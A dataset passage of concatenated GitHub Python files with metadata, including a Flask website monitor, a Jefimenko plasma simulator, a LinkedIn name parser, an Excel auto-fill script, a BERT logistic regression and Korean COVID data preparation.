r2_df.mean()\nrl_df = pd.DataFrame.from_dict(rl_score, orient='index')\nrl_df.loc['avg'] = rl_df.mean()\n\nprint(r1_df.head())\nprint(r2_df.head())\nprint(rl_df.head())\n\n# Output files\nwith pd.ExcelWriter(os.path.join('rouge_output', 'rouge_full_text_POLY.xlsx')) as writer:\n r1_df.to_excel(writer, sheet_name='rouge_1')\n r2_df.to_excel(writer, sheet_name='rouge_2')\n rl_df.to_excel(writer, sheet_name='rouge_l')\n\n","repo_name":"Tzvi23/Hierarchical-Summarization-Part1","sub_path":"Rouge/rouge_fullText.py","file_name":"rouge_fullText.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"18769298019","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom pymongo import MongoClient\nimport monitorweb02\nimport settings\nimport datetime\n\napp = Flask(__name__)\n \n# Create a MongoDB client\nclient = MongoClient(settings.URI)\ndb = client[settings.DATABASE]\ncollection = db[settings.COLLECTION]\n\nnavv = monitorweb02.getwebsite(\"\")\ndatenow = datetime.datetime.utcnow()\n\n@app.route('/')\ndef index():\n # Retrieve data from the collection\n listofwebsites, listofwebsitesizes, listofwebsitedates,listofwebsitecopies = monitorweb02.getlistofwebsites(collection)\n kopa = [{'webpagelink':site, 'webpagesize': f\"{size:,}\", 'webpagedate': str(date).split('.')[0], 'webpagecopies': copies, \"today\":date.day == datenow.day} for site, size, date, copies in zip(listofwebsites, listofwebsitesizes, listofwebsitedates, listofwebsitecopies)]\n totalpages = str(len(listofwebsites))\n return render_template('index.html', data=kopa, totalpages = totalpages)\n\n@app.route('/update', methods=['POST'])\ndef update_data():\n field1_value = request.form.get('field1')\n monitorweb02.adddatabase(field1_value, collection, datenow)\n return redirect(url_for('index'))\n\n@app.route('/delete_last', methods=['POST'])\ndef delete_last_record():\n # Delete the last record in the collection\n listofwebsites, listofwebsitesizes, listofwebsitedates,listofwebsitecopies = monitorweb02.getlistofwebsites(collection)\n deleteentry = int(request.form.get('number'))\n try:\n monitorweb02.deletewebsitefromdatabase(listofwebsites[deleteentry-1], collection)\n except:\n print(\"no etries deleted\")\n return redirect(url_for('index'))\n\n@app.route('/check', methods=['POST'])\ndef check_all():\n # Delete the last record in the collection\n print(\"checking all websites for updates\")\n monitorweb02.updateall(40,500,navv, collection)\n return redirect(url_for('index'))\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"econexpert/monitorwebsites","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"4715371668","text":"print (('''Select number for operation:\n1: To add\\n 2: To subtract\\n 3: To multiply\\n 4: To divide'''))\n\ndef add(x,y):\n '''\n Returns the sum of x and y\n '''\n return x+y\n\ndef subtract(x,y):\n '''\n Returns the x difference y\n '''\n return x-y\n\ndef multiply(x,y):\n '''\n Returns the product of x and y\n '''\n return x*y\n\ndef divide(x,y):\n '''\n Returns the value of x divided by y\n '''\n return x/y\n\no = input(\"Enter operation:\")\nx = int(input(\"Enter x value:\"))\ny = int(input(\"Enter y value:\"))\n\nif o == 1:\n print ('Answer is '+ str(add(x,y)))\nelif o == 2:\n print ('Answer is '+ str(subtract(x,y)))\nelif o == 3:\n print ('Answer is '+ str(multiply(x,y)))\nelif o == 4:\n print ('Answer is '+ str(divide(x,y)))\n","repo_name":"vineetarath/dv.pset_old","sub_path":"0040/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70742979917","text":"from compiled_surface_code_error_subsets import *\nfrom projectq import MainEngine\nfrom projectq.backends import Simulator\n\n# Create qubits\neng = MainEngine(Simulator())\ndata = eng.allocate_qureg(9)\nancilla = eng.allocate_qureg(8)\n\n# Generate an error subset (a list of errors and their corresponding random locations)\n# error_number_dictionary = {\"XCtrlError\" : 5, \"YCtrlError\" : 6, \"XXCtrl\" : 1}\nerrors_to_generate = {\"XCtrlError\" : 5, \"DephasingError\" : 6}\n\n# Create an error subset\nerror_subset = Error.generate_error_subset(errors_to_generate)\n# x_error_1 = DephasingError(location=[0,0,0,1])\nfor error in error_subset:\n print(\"name: {}, location: {}\".format(error.name, error.location))\n# error_subset_2 = [x_error_1]\n# print(error_subset_1[0].location)\n# print(error_subset_2[0].location)\n\n# Create syndrome with a randomly placed error\nsyndrome0 = StabiliserCycle(location=[0])\nsyndrome1 = StabiliserCycle(location=[1])\n\nsyndrome0.run(data, ancilla, eng, error_subset=error_subset)\nsyndrome1.run(data, ancilla, eng, error_subset=error_subset)\n\nAll(Measure) | data\nAll(Measure) | ancilla\n","repo_name":"QECsims/Surface_17","sub_path":"use_error_subset.py","file_name":"use_error_subset.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4985872684","text":"# Python 3 code to rename multiple\n# files in a directory or folder\n \n# importing os module\nimport os\n \n# Function to rename multiple files\ndef main():\n \n folder = \"C:/Temp/rename\"\n folder_dst = \"C:/Temp/renamedone\"\n for count, filename in enumerate(os.listdir(folder)):\n print(\"======filename: {}\".format(filename))\n song_dash_artist, ext = os.path.splitext(filename)\n song_artist_list = song_dash_artist.split('-')\n if len(song_artist_list) == 2:\n new_name = song_artist_list[1].strip()+\" - \"+song_artist_list[0].strip()+ext\n src =f\"{folder}/{filename}\"\n print(\"src: {}\".format(src))\n dst = f\"{folder_dst}/{new_name}\"\n print(\"dst: {}\".format(dst))\n os.rename(src, dst)\n #songname = f\"\"\n src =f\"{folder}/{filename}\" # foldername/filename, if .py file is outside folder\n dst1 =f\"{folder_dst}/{dst}\"\n \n# Driver Code\nif __name__ == '__main__':\n \n # Calling main() function\n main()\n","repo_name":"itisclaudio/rename-music-files","sub_path":"rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16144022184","text":"#!/usr/bin/env python\n\"\"\" jefimenko - An EM simulator based on the Jefimenko equations\n\nThis file is part of Jefimenko.\n\nJefimenko is free software: you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free Software\nFoundation, either version 3 of the License, or (at your option) any later\nversion.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with\nthis program. If not, see <http://www.gnu.org/licenses/>.\n\"\"\"\nfrom .simulation import *\n\nimport re\nimport numpy as np\nimport sys\nfrom math import isnan as isnan\nfrom scipy.spatial import distance\nimport time as Time\nimport types\n\n\nimport multiprocessing\n# from multiprocessing import pool as Pool\n# from multiprocessing import pool.ThreadPool as Pool\nfrom functools import partial\nimport os\nimport pdb\n\n\ndef plasma_simulation(grid, test=False):\n\n start = Time.time()\n # do any poreporations\n\n # calculate the E and B boundary conditions of the simulation\n\n # calculate the particals x,y,z and v boundary conditions at t_0\n\n sys.stdout.flush()\n for time in timed_range(0, grid.time_size - 1, print_time=True):\n ''' 1. calculate the magnetic and electric\n field at time t_0 using jefimenko\n notice that do to the nature of jefimenko\n this gives the efective field\n at time t_i + dt for all particals '''\n # location_list is a list of all locations of particals\n location_list = []\n for charge in grid.charges[time]:\n location_list.append(charge.location)\n\n # find the maximum distance between all locations particals\n '''this should be changed ot include the posibilety of the charges\n contracting to a point that is outside of the starting space'''\n test_max = np.max(distance.cdist(location_list,\n location_list,\n 'euclidean'))\n if grid.max_charge_distance < test_max:\n grid.max_charge_distance = test_max\n\n if test is True:\n print('charge list is')\n print(location_list)\n print()\n print()\n\n ''' use field calculator to find the field strength\n at the location of every charge in the grid\n notice that this is not a full grid simulaiton\n but a location by location simulation '''\n E_field, H_field, B_field = simulate_location(location_list,\n time,\n grid,\n test)\n\n # calculate the velocity and location of charges at time + dt\n move_charges(location_list,\n E_field,\n H_field,\n B_field,\n time,\n grid,\n test)\n\n ''' calculate the effects on E and B from time_i\n giving E and B at time t_i + dt\n this is the first thing in the loop '''\n # now that everything is done figyer out how long it touck\n end = Time.time()\n print('grid simulated in ' + str(end - start) + ' seconds')\n print()\n pass\n\n\ndef move_charges(location_list,\n E_field,\n H_field,\n B_field,\n time,\n grid,\n test=False):\n\n for n in range(len(grid.charges[0])):\n\n location = str(location_list[n])\n\n if (E_field[location][time] != [0, 0, 0]).any():\n force_E = (np.array(grid.charges[time][n].Q *\n E_field[location][time]))\n else:\n force_E = np.array([0, 0, 0])\n\n if (B_field[location][time] != [0, 0, 0]).any():\n force_B = (np.array(grid.charges[time][n].Q *\n np.cross(grid.charges[time][n].velocity,\n B_field[location][time])))\n else:\n force_B = np.array([0, 0, 0])\n\n force = force_E + force_B\n\n # calculate the acceloration of the charges\n acceleration = force / grid.charges[time][n].mass\n grid.charges[time][n].acceleration = acceleration.astype(float)\n\n # update the velocity of the charge\n velocity = grid.charges[time][n].velocity + acceleration * grid.delta_t\n grid.charges[time+1][n].velocity = velocity.astype(float)\n\n # update the position of the charge\n charge_location = (grid.charges[time][n].location +\n (grid.charges[time][n].velocity +\n grid.charges[time+1][n].velocity) / 2 *\n grid.delta_t)\n grid.charges[time+1][n].location = charge_location.astype(float)\n\n if test is True:\n\n print('location is ' +\n str(tuple((grid.charges[time][n].location))))\n print('electric field is ' +\n str(E_field[str(location_list[n])][time]))\n print('magnetic field is ' +\n str(B_field[str(location_list[n])][time]))\n print('acceleration is ' + str(acceleration))\n print('force is ' + str(force))\n print('the time is ' + str(time))\n print('the charge is ' + str(n))\n print('old velocity is ' +\n str(grid.charges[time][n].velocity))\n print('new velocity is ' +\n str(grid.charges[time+1][n].velocity))\n print(' location is ' + str(location))\n print()\n\n\ndef simulate_location(location_list, # the list of locations to include\n end_time, # the time to find the field at\n grid,\n test):\n\n E_field = {}\n B_field = {}\n H_field = {}\n\n # location_list is a list of all locations of particals\n\n for location in location_list:\n (E_field[str(location)],\n H_field[str(location)],\n B_field[str(location)]) = location_process(end_time,\n grid, location)\n\n # if __name__ == '__main__':\n\n # pool = multiprocessing.Pool(processes = 9)\n # pool = Pool(4)\n # pool = Pool.ThreadPool(4)\n\n # func = partial(location_process, end_time, grid)\n\n # pdb.set_trace()\n\n# a = pool.map(func, location_list)\n# pool.close()\n# pool.join()\n#\n# for i in range(len(location_list)):\n # E_field[str(location_list[i])] = []\n # B_field[str(location_list[i])] = []\n # H_field[str(location_list[i])] = []\n\n # E_field[str(location_list[i])] = a[i][0]\n # B_field[str(location_list[i])] = a[i][1]\n # H_field[str(location_list[i])] = a[i][2]\n#\n# #pdb.set_trace()\n#\n# print(a)\n\n if test is True:\n print()\n print('location test')\n print('E = ' + str(E_field))\n print('H = ' + str(H_field))\n print('B = ' + str(B_field))\n print()\n return(E_field, H_field, B_field)\n\n\ndef location_process(end_time, grid, location):\n\n E_field = np.zeros(\n tuple(np.append(grid.time_size, [3])), dtype='complex')\n H_field = np.zeros(\n tuple(np.append(grid.time_size, [3])), dtype='complex')\n B_field = np.zeros(\n tuple(np.append(grid.time_size, [3])), dtype='complex')\n\n loc_key = str(location)\n\n if grid.constant_E != [0, 0, 0]:\n\n if type(grid.constant_E) == types.FunctionType:\n loc_key_F = \" \".join(loc_key.split())\n loc_key_F = loc_key_F[1:-1].strip()\n\n loc_key_F = [float(s) for s in loc_key_F.split(' ')]\n\n for i in range(len(E_field)):\n E_field[i] = grid.constant_E(loc_key_F,\n i * grid.delta)\n else:\n E_field = grid.constant_E\n\n if grid.constant_H != [0, 0, 0]:\n\n if isinstance(types.FunctionType, type(grid.constant_H)):\n loc_key_F = \" \".join(loc_key.split())\n loc_key_F = loc_key_F[1:-1].strip()\n\n loc_key_F = [float(s)\n for s in loc_key_F.split(' ')]\n for i in range(len(E_field)):\n H_field[i] = grid.constant_H(loc_key_F,\n i * grid.delta)\n else:\n H_field = grid.constant_H\n B_field = grid.constant_H\n\n for time in range(end_time - int(np.ceil(grid.max_charge_distance / C_0)),\n end_time + 1):\n\n E_field, H_field, B_field = (\n field_calculator(E_field,\n H_field,\n B_field,\n grid.charges[time],\n grid.currents[time],\n grid.dipoles[time],\n grid,\n location,\n time))\n\n return([E_field, H_field, B_field])\n","repo_name":"bombadil224/Jefimenko","sub_path":"jefimenko/plasma.py","file_name":"plasma.py","file_ext":"py","file_size_in_byte":9270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"39344919724","text":"import re\nfrom typing import Tuple\n\nfrom linkedin_scraper.parsers.base import BaseParser\n\n\nclass PersonNameParser(BaseParser):\n forbidden_chars_pattern = re.compile(r'[^\\w^\\s]', re.UNICODE)\n\n def __init__(self):\n self.names_list = self.get_lines_from_datafile('names_list.txt')\n self.surnames_list = self.get_lines_from_datafile('surnames_list.txt')\n self.surname_affixes_list = self.get_lines_from_datafile(\n 'surname_affixes_list.txt')\n\n def parse(self, item: str) -> Tuple[str, str]:\n \"\"\"\n Parse string with person name into two pieces:\n <first, second, ... name> and <last name>\n\n :param item: name string\n :return: first...n name, last name\n \"\"\"\n first_names, surname = self._parse(item)\n return ' '.join(first_names), surname\n\n def _categorize_items(self, names):\n \"\"\"\n Categorize names into four groups: first_names, surnames, affixes and\n unknown.\n \"\"\"\n first_names, surnames, affixes, unknown = [], [], [], []\n\n for name in names:\n lower_name = name.lower()\n\n if lower_name in self.surname_affixes_list:\n affixes.append(name)\n elif lower_name in self.names_list:\n first_names.append(name)\n elif lower_name in self.surnames_list:\n surnames.append(name)\n else:\n unknown.append(name)\n\n return first_names, surnames, affixes, unknown\n\n def _parse(self, item: str) -> Tuple[str, str]:\n if not item:\n return [''], ''\n\n # Names listed by LinkedIn do not have ',' included\n item = item.split(',')[0]\n # Remove all unwanted chars\n item = self.forbidden_chars_pattern.sub('', item)\n\n names = [name.capitalize() for name in item.split()]\n first_names, surnames, affixes, unknown = self._categorize_items(names)\n\n if len(surnames) == 1 and first_names:\n # We found surname and first_name(s)\n return first_names, surnames[0]\n\n if affixes:\n affix_index_l = names.index(affixes[0])\n affix_index_r = names.index(affixes[-1])\n\n if names[affix_index_r + 1:] and names[:affix_index_l]:\n # Noble kind of surname, e.g. <first name> von der <surname>\n return names[:affix_index_l], ' '.join(names[affix_index_l:])\n\n if first_names and not surnames and len(unknown) == 1:\n # We did't find surname but everything except for one item was\n # recognized as first name\n return first_names, unknown[0]\n\n # Everything above failed, use naive approach:\n # assume that last item is surname\n return names[:-1], names[-1]\n","repo_name":"nihn/linkedin-scraper","sub_path":"linkedin_scraper/parsers/person_name.py","file_name":"person_name.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42724329227","text":"#커밋 실수로 파일\n# mearge 관련 오류가 나올시 누수감면 시트에 병합된 셀이 있는 확인해주세요\n# 연번 순서대로 입력하는 것이 아닌 누수감면 조정내역의 시트 순서대로 입력된다.\n\nfrom openpyxl import load_workbook \nfrom openpyxl import Workbook\n\n\n#직접 입력 작업을 수행하는 메소드\ndef write_data_to_excel(num,k,ws):\n global input_cnt\n\n find_row=0\n\n for j in range(6,new_ws_max_row):\n if new_ws.cell(j,1).value == num:\n find_row = j\n break\n \n #입력\n if find_row != 0:\n\n #누수감면 파일에 입력값이 이미 있는 연번은 입력 작업을 실행하지 않는다. (고객번호 기준으로 판단함)\n if new_ws.cell(find_row,4).value == None:\n\n #주소\n new_ws[\"F\"+str(find_row)] = ws.cell(k+1,2 ).value\n \n #성명\n new_ws[\"G\"+str(find_row)] = ws.cell( k+2,2).value\n \n #고객번호\n new_ws[\"D\"+str(find_row)] = str(ws.cell(k+2,8).value)[-6:]\n \n\n #상수도 - 업종, 당초금액(량, 금액), 정당금액(량, 금액)\n new_ws[\"I\"+str(find_row)] = ws.cell(k+6,2 ).value\n new_ws[\"J\"+str(find_row)] = ws.cell(k+6,3).value\n new_ws[\"K\"+str(find_row)] = ws.cell(k+6,4).value\n new_ws[\"L\"+str(find_row)] = ws.cell(k+6,5).value\n new_ws[\"M\"+str(find_row)] = ws.cell(k+6,6).value\n\n \n #하수도 - 당초금액(량, 금액), 정당금액(량, 금액)\n new_ws[\"P\"+str(find_row)] = ws.cell(k+7,3).value\n new_ws[\"Q\"+str(find_row)] = ws.cell(k+7,4).value\n new_ws[\"R\"+str(find_row)] = ws.cell(k+7,5).value\n new_ws[\"S\"+str(find_row)] = ws.cell(k+7,6).value\n \n\n #물 이용금 - 당초금액(량, 금액), 정당금액(량, 금액)\n new_ws[\"V\"+str(find_row)] = ws.cell(k+8,3 ).value\n new_ws[\"W\"+str(find_row)] = ws.cell(k+8,4).value\n new_ws[\"X\"+str(find_row)] = ws.cell(k+8,5).value\n new_ws[\"Y\"+str(find_row)] = ws.cell(k+8,6).value\n \n input_cnt += 1\n \n else:\n print(\"해당 행은 이미 입력된 값이 있습니다 -> 연번 : \"+str(num)+\" 고객번호 : \"+str(new_ws.cell(find_row,4).value)+\"\\n\")\n\n\n else:\n #오류가 발생시 저장되지 않도록한다.\n bool_test=True\n print(\"오류\",num)\n\n\n\n\n#해당 누수감면 조정내역의 시트를 받아 해당 연번을 write_data_to_excel로 넘겨주는 메소드\ndef fill_excel(sheets_name):\n print(\"\\n시트: \"+sheets_name+\" 입력 중\\n\")\n ws = wb[sheets_name]\n for i in range(1,ws.max_row):\n ws_cell_i_value= ws.cell(i,1).value\n if isinstance(ws_cell_i_value,int) and ws.cell(i+11,1).value == None:\n\n if ws_cell_i_value > max_num:\n print(ws_cell_i_value, \"작업 실행\")\n write_data_to_excel(ws_cell_i_value,i,ws)\n i+=11\n\n\n\n\nif __name__ == '__main__':\n\n #파일 경로 입력\n filename1=r'C:\\excel_auto\\discount\\누수감면 조정내역(2023) - 복사본.xlsx'\n filename2=r'C:\\excel_auto\\discount\\누수감면(2023년)_test.xlsx'\n\n\n wb =load_workbook(filename1)\n new_wb=load_workbook(filename2)\n\n wb_sheets=wb.sheetnames\n\n new_wb_sheets=new_wb.sheetnames\n\n bool_test= False\n\n #입력할 누수감면 시트 명\n sheet_name='2월'\n new_ws=new_wb[sheet_name]\n input_cnt = 0\n\n new_ws_max_row =376\n\n # 누수감면에 입력되어 있는 마지막 연번 ( *max_num의 값 보다 높은 연번만 값이 입력됨* )\n \n max_num = 141\n\n for sheet in wb_sheets:\n fill_excel(sheet)\n\n #파일 저장 \n if not bool_test:\n new_wb.save(filename =filename2)\n wb.save(filename =filename1)\n print(\"\\n최종 입력 수 : \"+str(input_cnt))\n\n wb.close()\n new_wb.close()\n","repo_name":"hojuna/openpyxl_toyproject","sub_path":"excel_auto_filling.py","file_name":"excel_auto_filling.py","file_ext":"py","file_size_in_byte":3986,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74352040397","text":"from mnli_w_bert_clinet.load_vector import x_train, y_train, x_test, y_test\r\nfrom keras.utils import to_categorical\r\nimport pandas as pd\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nTOTAL_TEST_BATCH_SIZE = 8000\r\nBATCH_SIZE = 100\r\nN_CLASSES = 3\r\n# VECTOR_SIZE = 768\r\nVECTOR_SIZE = 1024\r\nLR = 0.008\r\n# ITERATIONS = 90000\r\nNUM_BATCH = TOTAL_TEST_BATCH_SIZE // BATCH_SIZE\r\nEPOCH = 1000\r\n\r\n\r\ny_train = to_categorical(y_train, num_classes=N_CLASSES, dtype='float32')\r\ny_test = to_categorical(y_test, num_classes=N_CLASSES, dtype='float32')\r\n\r\nprint(y_train.shape)\r\n\r\n\r\ndef do_permutation(x_, y_):\r\n x_t = []\r\n y_t = []\r\n permutation = list(np.random.permutation(9000))\r\n for i in permutation:\r\n x_t.append(x_[i])\r\n y_t.append(y_[i])\r\n return np.array(x_t), np.array(y_t)\r\n\r\n\r\n# x_train, y_train = do_permutation(x_train, y_train)\r\n\r\nx_dev = x_train[8000:9000]\r\ny_dev = y_train[8000:9000]\r\nx_train = x_train[0:8000]\r\ny_train = y_train[0:8000]\r\n\r\nprint(x_train.shape)\r\n\r\n\r\ndef next_train_batch(num):\r\n left = num * BATCH_SIZE % TOTAL_TEST_BATCH_SIZE\r\n right = left + BATCH_SIZE\r\n return x_train[left:right], y_train[left:right]\r\n\r\n\r\ndef next_dev_batch(num):\r\n left = num * 1000 % TOTAL_TEST_BATCH_SIZE\r\n right = left + 1000\r\n return x_train[left:right], y_train[left:right]\r\n\r\n\r\n# w = tf.get_variable(name='w', shape=[VECTOR_SIZE, N_CLASSES], initializer=tfl.truncated_normal_initializer(stddev=0.02))\r\n# # b = tf.get_variable(name='b', shape=[N_CLASSES], initializer=tf.zeros_initiaizer())\r\n\r\nx = tf.placeholder(tf.float32, [None, VECTOR_SIZE], name='x')\r\ny = tf.placeholder(tf.float32, [None, N_CLASSES], name='y')\r\n\r\nw = tf.Variable(tf.random_normal([VECTOR_SIZE, N_CLASSES], stddev=0.02), name='w')\r\nb = tf.Variable(tf.zeros([N_CLASSES]), name='b')\r\n# for train\r\nx_ = tf.nn.dropout(x, keep_prob=0.9)\r\n\r\nlogits = tf.nn.bias_add(tf.matmul(x_, w), b)\r\nlog_logits = tf.nn.log_softmax(logits, axis=-1)\r\ncost = -tf.reduce_mean(tf.reduce_sum(y * log_logits, axis=-1))\r\n\r\n# for prediction\r\nlogits_prob = tf.nn.bias_add(tf.matmul(x, w), b)\r\nprobability = tf.nn.softmax(logits_prob, axis=-1)\r\npred_ = tf.argmax(probability, axis=1)\r\nacc = tf.equal(pred_, tf.argmax(y, axis=1))\r\naccuracy = tf.reduce_mean(tf.cast(acc, tf.float32))\r\n\r\n\r\ntrain = tf.train.GradientDescentOptimizer(learning_rate=LR).minimize(cost)\r\n\r\ninit = tf.global_variables_initializer()\r\n\r\nsess = tf.Session()\r\n\r\nsess.run(init)\r\n\r\navg_cost = 0\r\n\r\nmap_back_o = {3: \"unknown\", 0: \"neutral\", 1: \"entailment\", 2: \"contradiction\"}\r\nmap_back = {3: \"unknown\", 0: \"contradiction\", 1: \"neutral\", 2: \"entailment\"}\r\n\r\nloss_history = []\r\n\r\nfor i in range(EPOCH):\r\n avg_cost = 0\r\n for step in range(NUM_BATCH):\r\n train_x, train_y = next_train_batch(step)\r\n sess.run(train, {x: train_x, y: train_y})\r\n avg_cost += sess.run(cost, {x: train_x, y: train_y}) / NUM_BATCH\r\n loss_history.append(avg_cost)\r\n if i % 50 == 0:\r\n # dev_x, dev_y = next_dev_batch(i//10)\r\n accuracy_ = sess.run(accuracy, {x: x_dev, y: y_dev})\r\n print(\"epoch : %d , accuracy : %f, loss : %f\" % (i, accuracy_, avg_cost))\r\n accuracy_ = sess.run(accuracy, {x: x_test, y: y_test})\r\n print(\"epoch : %d , test accuracy : %f\" % (i, accuracy_))\r\n\r\n # predict every 1000 iterations\r\n # if (i+1) % 1000 == 0:\r\n # accuracy_ = sess.run(accuracy, {x: x_train, y: y_train})\r\n # print(\"fianal , accuracy : %f\" % (accuracy_))\r\n #\r\n # pred_ans_numpy = sess.run(pred_, {x: x_test})\r\n # # pred_ans = tf.argmax(pred_prob, axis=1)\r\n # # pred_ans_numpy = pred_ans.eval(session=sess)\r\n #\r\n # print(pred_ans_numpy)\r\n # file_name = \"predicts_%d\" % ((i+1) // 1000)\r\n # np.savetxt(file_name + \".txt\", pred_ans_numpy, delimiter=',')\r\n #\r\n # predicts = []\r\n # for t in range(1000):\r\n # predicts.append(map_back[pred_ans_numpy[t]])\r\n # name = ['label']\r\n # out = pd.DataFrame(columns=name, data=predicts)\r\n # out.to_csv(file_name + \".csv\", encoding='utf-8')\r\n\r\n\r\naccuracy_ = sess.run(accuracy, {x: x_train, y: y_train})\r\nprint(\"final train : accuracy : %f, loss : %f\" % (accuracy_, avg_cost))\r\naccuracy_ = sess.run(accuracy, {x: x_dev, y: y_dev})\r\nprint(\"final dev : accuracy : %f, loss : %f\" % (accuracy_, avg_cost))\r\naccuracy_ = sess.run(accuracy, {x: x_test, y: y_test})\r\nprint(\"final test : accuracy : %f, loss : %f\" % (accuracy_, avg_cost))\r\n\r\n\r\ndef print_loss(loss_h):\r\n plt_x = range(len(loss_h))\r\n plt.plot(plt_x, loss_h, label='Loss')\r\n plt.legend()\r\n plt.xlabel('Iteration Num')\r\n plt.ylabel('Loss')\r\n plt.savefig('out.png')\r\n plt.show()\r\n\r\n\r\nprint_loss(loss_history)\r\n","repo_name":"Jiaxin-Lu/CS420-Machine-Learning","sub_path":"MNLI/mnli_w_bert_clinet/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"9702588462","text":"\nimport pandas as pd\nimport numpy as np\nimport geopandas as gpd\nimport plotly.express as px\nimport json\nimport time\nfrom datetime import datetime\nimport plotly.graph_objects as go\nfrom dash import Dash, dcc, html, Input, Output\n#token = open(\".mapbox_token\").read()\n\napp = Dash(__name__)\n\n# Downloading the dataframes:\n\ntime_province = pd.read_csv('/Users/user/PycharmProjects/Capstone/Covid/TimeProvince.csv', encoding=\"UTF-8\")\nweather = pd.read_csv('/Users/user/PycharmProjects/Capstone/Covid/Weather.csv', encoding=\"UTF-8\")\nregion = pd.read_csv('/Users/user/PycharmProjects/Capstone/Covid/Region.csv', encoding=\"UTF-8\")\n\n# Grouping regional data by \"province\" variables, summing, geting means and merging:\n\nregion_data1 = pd.DataFrame(region.loc[:,(\"province\",\"elementary_school_count\",\n \"kindergarten_count\",\"university_count\",\n \"nursing_home_count\")]. \\\n groupby(\"province\").sum())\nregion_data2 = pd.DataFrame(region.loc[:,(\"province\",\"academy_ratio\",\n \"elderly_population_ratio\",\n \"elderly_alone_ratio\")]. \\\n groupby(\"province\").mean())\nregion_data_merged = pd.concat([region_data1, region_data2], axis=1)\n\n# Cleaning and transforming teh 'weather' dataframe:\n\nweather.loc[:,\"province\"] = weather.loc[:,\"province\"].replace('Chunghceongbuk-do','Chungcheongbuk-do')\n\nweather = weather.reset_index(drop=False)\nrow = pd.DataFrame({\n \"code\": 41000,\n \"province\": \"Chungcheongnam-do\",\n \"date\": \"2018-01-02\",\n \"avg_temp\": np.nan,\n \"min_temp\": np.nan,\n \"max_temp\": np.nan,\n \"precipitation\": np.nan,\n \"max_wind_speed\": np.nan,\n \"most_wind_direction\": np.nan,\n \"avg_relative_humidity\": np.nan,\n }, index=[\"26271\"])\nweather = weather.append(row)\nweather = weather.sort_values(\"date\")\nweather['date'] = pd.to_datetime(weather['date'])\nweather = weather.ffill()\n\n# Transforming 'date'-type variable to datetime object and setting an index to it\ntime_province['date'] = pd.to_datetime(time_province['date'])\ntime_province = time_province.set_index(\"date\")\n\n# Merging data from other dataframes to 'weather_province' dataframe which will be used for creating maps\n\nprovince_grouped = pd.DataFrame(time_province.loc['2020-06-30',(\"province\",\"confirmed\",\"deceased\",\"released\")]).set_index(\"province\")\navg_temp_province = pd.DataFrame(weather.loc[:,(\"province\",\"avg_temp\")].groupby(\"province\").describe())\navg_relative_humidity_province = pd.DataFrame(weather.loc[:,(\"province\",\"avg_relative_humidity\")].groupby(\"province\").describe())\nmax_wind_speed_province = pd.DataFrame(weather.loc[:,(\"province\",\"max_wind_speed\")].groupby(\"province\").describe())\nprecipitation_province = pd.DataFrame(weather.loc[:,(\"province\",\"precipitation\")].groupby(\"province\").describe())\nmost_wind_direction_province = pd.DataFrame(weather.loc[:,(\"province\",\"most_wind_direction\")].groupby(\"province\").describe())\nmin_temp_province = pd.DataFrame(weather.loc[:,(\"province\",\"min_temp\")].groupby(\"province\").describe())\nmax_temp_province = pd.DataFrame(weather.loc[:,(\"province\",\"max_temp\")].groupby(\"province\").describe())\n\nweather_province = pd.concat([avg_temp_province,\n avg_relative_humidity_province,\n max_wind_speed_province,\n precipitation_province,\n most_wind_direction_province,\n min_temp_province,\n max_temp_province,\n province_grouped,\n region_data_merged],axis=1)\n\nweather_province = weather_province.loc[:,[(\"avg_temp\",\"mean\"),\n (\"avg_relative_humidity\",\"mean\"),\n (\"max_wind_speed\",\"mean\"),\n (\"precipitation\",\"mean\"),\n (\"most_wind_direction\",\"mean\"),\n (\"min_temp\",\"mean\"),\n (\"max_temp\",\"mean\"),\n \"confirmed\",\n \"released\",\n \"deceased\",\n \"elementary_school_count\",\n \"kindergarten_count\",\n \"university_count\",\n \"nursing_home_count\",\n \"academy_ratio\",\n \"elderly_population_ratio\",\n \"elderly_alone_ratio\"\n ]].round(decimals=2)\n\nweather_province.columns = [\"avg_temp_mean\",\n \"avg_rel_humidity_mean\",\n \"max_wind_speed_mean\",\n \"precipitation_mean\",\n \"most_wind_direction\",\n \"min_temp_mean\",\n \"max_temp_mean\",\n \"confirmed\",\n \"released\",\n \"deceased\",\n \"elementary_school_count\",\n \"kindergarten_count\",\n \"university_count\",\n \"nursing_home_count\",\n \"academy_ratio\",\n \"elderly_population_ratio\",\n \"elderly_alone_ratio\"]\n\n# Getting geographical data on South Korea, cleaning and transforming it, setting index to a varaible with province names\n\nsouth_korea = gpd.read_file('/Users/user/PycharmProjects/Capstone/Covid/gadm41_KOR_1.json')\n\nsouth_korea.loc[:,\"NAME_1\" ]= south_korea.loc[:,\"NAME_1\"].replace('Jeju','Jeju-do')\n\"\"\"\nsouth_korea = 